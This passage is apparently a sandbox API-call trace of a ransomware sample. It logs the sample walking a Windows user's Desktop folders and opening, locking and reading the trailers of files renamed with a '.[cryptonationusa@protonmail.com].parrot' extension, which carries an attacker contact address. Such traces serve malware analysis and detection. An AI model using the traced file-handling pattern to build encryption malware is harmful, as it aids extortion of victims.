dwReserved1=0x0, cFileName="zX4O4MK8g.flv.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="ZX4O4M~1.PAR")) returned 1 [0034.661] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5e9a18 [0034.661] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e9a18 | out: hHeap=0x5b0000) returned 1 [0034.661] lstrcmpW (lpString1="zX4O4MK8g.flv.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned 1 [0034.661] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x5d2b60 [0034.661] FindNextFileW (in: hFindFile=0x600310, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69957790, ftCreationTime.dwHighDateTime=0x1d5be72, ftLastAccessTime.dwLowDateTime=0xfd338510, ftLastAccessTime.dwHighDateTime=0x1d5c001, ftLastWriteTime.dwLowDateTime=0xa5885400, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x3308, dwReserved0=0x0, dwReserved1=0x0, cFileName="zX4O4MK8g.flv.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="ZX4O4M~1.PAR")) returned 0 [0034.661] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5eba80 | out: hHeap=0x5b0000) returned 1 [0034.661] FindClose (in: hFindFile=0x600310 | out: hFindFile=0x600310) returned 1 [0034.661] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5eba28 | out: hHeap=0x5b0000) returned 1 [0034.662] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QRwYyUOxQxgOS8\\eGKSNoCFe2.m4a.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qrwyyuoxqxgos8\\egksnocfe2.m4a.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0034.725] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x6b8 [0034.725] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7d0, nNumberOfBytesToLockHigh=0x0) returned 1 [0034.726] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0034.726] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0034.726] CloseHandle (hObject=0x23c) returned 1 [0034.726] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QRwYyUOxQxgOS8\\YjYYP1K-JxmugG9XF3.flv.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qrwyyuoxqxgos8\\yjyyp1k-jxmugg9xf3.flv.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0034.726] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x26c8 [0034.726] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x27e0, nNumberOfBytesToLockHigh=0x0) returned 1 [0034.726] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0034.727] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0034.727] CloseHandle (hObject=0x23c) returned 1 [0034.727] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\QRwYyUOxQxgOS8\\zBNu1_9Jb.mp3.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qrwyyuoxqxgos8\\zbnu1_9jb.mp3.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0034.727] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0xe788 [0034.727] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe8a0, nNumberOfBytesToLockHigh=0x0) returned 1 [0034.727] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0034.727] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0034.727] CloseHandle (hObject=0x23c) returned 1 [0034.727] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zi oa\\cNIsUDrVJZuOF\\li2GnU1.docx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zi oa\\cnisudrvjzuof\\li2gnu1.docx.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0034.727] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x8bb8 [0034.728] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8cd0, nNumberOfBytesToLockHigh=0x0) returned 1 [0034.728] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0034.728] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0034.728] CloseHandle (hObject=0x23c) returned 1 [0034.728] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zi oa\\cNIsUDrVJZuOF\\oppUz5cwhPPNL2Xw-Y06.bmp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zi oa\\cnisudrvjzuof\\oppuz5cwhppnl2xw-y06.bmp.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0034.728] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x7b98 [0034.728] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7cb0, nNumberOfBytesToLockHigh=0x0) returned 1 [0034.728] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0034.728] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0034.728] CloseHandle (hObject=0x23c) returned 1 [0034.728] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zi oa\\KQez9RRBBPj_q\\0NUomJc7lAYkB0.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zi oa\\kqez9rrbbpj_q\\0nuomjc7laykb0.jpg.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0034.728] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x14b8 [0034.728] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x15d0, nNumberOfBytesToLockHigh=0x0) returned 1 [0034.728] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0034.729] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0034.729] CloseHandle (hObject=0x23c) returned 1 [0034.729] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zi oa\\KQez9RRBBPj_q\\9D8.mkv.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zi oa\\kqez9rrbbpj_q\\9d8.mkv.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0034.729] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0xaf08 [0034.729] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb020, nNumberOfBytesToLockHigh=0x0) returned 1 [0034.729] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0034.729] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0034.729] CloseHandle (hObject=0x23c) returned 1 [0034.729] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zi oa\\KQez9RRBBPj_q\\pFnU6_8T.odp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zi oa\\kqez9rrbbpj_q\\pfnu6_8t.odp.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0034.729] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x106f8 [0034.729] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x10810, nNumberOfBytesToLockHigh=0x0) returned 1 [0034.729] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0034.729] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0034.729] CloseHandle (hObject=0x23c) returned 1 [0034.730] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zi oa\\WVZA5QXSYIXjs\\aCImre1nCBH18cI.png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zi oa\\wvza5qxsyixjs\\acimre1ncbh18ci.png.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0034.730] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x103e8 [0034.730] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x10500, nNumberOfBytesToLockHigh=0x0) returned 1 [0034.730] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0034.730] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0034.730] CloseHandle (hObject=0x23c) returned 1 [0034.730] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zi oa\\WVZA5QXSYIXjs\\gRYMF77-6Syq0.csv.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zi oa\\wvza5qxsyixjs\\grymf77-6syq0.csv.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0034.730] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x15608 [0034.730] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x15720, nNumberOfBytesToLockHigh=0x0) returned 1 [0034.730] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0034.730] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0034.730] CloseHandle (hObject=0x23c) returned 1 [0034.730] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zi oa\\WVZA5QXSYIXjs\\M5SG0Hv.bmp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zi oa\\wvza5qxsyixjs\\m5sg0hv.bmp.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0034.731] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0xf2a8 [0034.731] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xf3c0, nNumberOfBytesToLockHigh=0x0) returned 1 [0034.731] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0034.731] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0034.731] CloseHandle (hObject=0x23c) returned 1 [0034.731] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zi oa\\WVZA5QXSYIXjs\\MKT08guE_.mp3.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zi oa\\wvza5qxsyixjs\\mkt08gue_.mp3.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0034.731] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x108d8 [0034.731] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109f0, nNumberOfBytesToLockHigh=0x0) returned 1 [0034.731] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0034.731] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0034.731] CloseHandle (hObject=0x23c) returned 1 [0034.731] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zi oa\\WVZA5QXSYIXjs\\OVpia1PfwQxJi0A8_9.avi.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zi oa\\wvza5qxsyixjs\\ovpia1pfwqxji0a8_9.avi.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0034.731] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x125b8 [0034.731] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x126d0, nNumberOfBytesToLockHigh=0x0) returned 1 [0034.731] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0034.732] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0034.732] CloseHandle (hObject=0x23c) returned 1 [0034.732] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zi oa\\WVZA5QXSYIXjs\\QDvKu.ods.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zi oa\\wvza5qxsyixjs\\qdvku.ods.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0034.732] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x3c18 [0034.732] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3d30, nNumberOfBytesToLockHigh=0x0) returned 1 [0034.732] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0034.732] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0034.732] CloseHandle (hObject=0x23c) returned 1 [0034.732] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zi oa\\kFnn6zs-dVx.wav.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zi oa\\kfnn6zs-dvx.wav.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0034.732] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x16608 [0034.732] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x16720, nNumberOfBytesToLockHigh=0x0) returned 1 [0034.732] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0034.732] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0034.732] CloseHandle (hObject=0x23c) returned 1 [0034.733] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\-AA3_k nv_.swf.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\-aa3_k nv_.swf.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0034.733] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x156e8 [0034.733] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x15800, nNumberOfBytesToLockHigh=0x0) returned 1 [0034.733] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0034.733] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0034.733] CloseHandle (hObject=0x23c) returned 1 [0034.733] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\11V_r.bmp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\11v_r.bmp.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0034.733] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x9c08 [0034.733] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x9d20, nNumberOfBytesToLockHigh=0x0) returned 1 [0034.733] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0034.733] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0034.733] CloseHandle (hObject=0x23c) returned 1 [0034.734] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3aRPh8r.flv.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3arph8r.flv.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0034.734] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x147c8 [0034.734] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x148e0, nNumberOfBytesToLockHigh=0x0) returned 1 [0034.734] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0034.734] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0034.734] CloseHandle (hObject=0x23c) returned 1 [0034.734] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\69-CKIdwROtr3-Kc.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\69-ckidwrotr3-kc.gif.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0034.734] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x5588 [0034.734] LockFile (hFile=0x23c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x56a0, nNumberOfBytesToLockHigh=0x0) returned 1 [0034.734] SetFilePointerEx (in: hFile=0x23c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0034.734] ReadFile (in: hFile=0x23c, lpBuffer=0x18fd84, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fd28, lpOverlapped=0x0 | out: lpBuffer=0x18fd84*, lpNumberOfBytesRead=0x18fd28*=0x18, lpOverlapped=0x0) returned 1 [0034.734] CloseHandle (hObject=0x23c) returned 1 [0034.734] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7fSPfZw.pps.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7fspfzw.pps.[cryptonationusa@protonmail.com].parrot"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x23c [0034.734] GetFileSize (in: hFile=0x23c, lpFileSizeHigh=0x18fda4 | out: lpFileSizeHigh=0x18fda4*=0x0) returned 0x5ab8 [0034.735] LockFile (hFile=0x23c, 